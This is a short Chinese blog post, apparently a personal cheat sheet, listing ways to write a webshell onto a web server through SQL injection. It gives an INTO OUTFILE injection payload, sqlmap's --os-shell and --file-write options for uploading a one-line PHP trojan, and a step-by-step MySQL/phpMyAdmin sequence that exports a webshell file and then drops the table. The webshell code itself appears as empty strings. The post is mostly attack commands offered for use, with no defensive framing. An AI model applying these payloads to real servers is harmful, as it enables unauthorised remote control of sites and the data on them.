SQL注入写WebShell方式小结

这里小结一下通过SQL注入写入WebShell的方法。

传统的SQL语句写shell

通过SQL注入select into outfile实现,如:

1' union select 1,'' INTO OUTFILE '/var/www/tmp/nb.php'#

sqlmap写shell

前提都是需要对目标目录具有写权限。

--os-cmd="net user"

交互式命令执行,注意在使用交互式方式时需要知道网站的绝对路径,执行成功之后在绝对路径

下创建文件返回结果,然后再自动删除。

--os-shell

写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。

注意:关闭sqlmap文件就会被删除。

本地写入webshell

先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数即本地文件地址和目标文件地址,--file-write "./mst/mst.txt" --file-dest "网站的绝对路径/1.php"。

注意需要最高权限。

MySQL写一句话木马

MySQL写木马,通常可以通过phpmyadmin来实现。

前提条件:有读写的权限,有CREATE、INSERT、SELECT的权限。

1、创建一个表

CREATE TABLE a (cmd text NOT NULL);

2、插入数据

INSERT INTO a (cmd) VALUES('');

3、导出一句话

SELECT cmd from a into outfile '/var/www/tmp/webshell.php';

4、删除表

Drop TABLE IF EXISTS a;

你可能感兴趣的:(Web安全)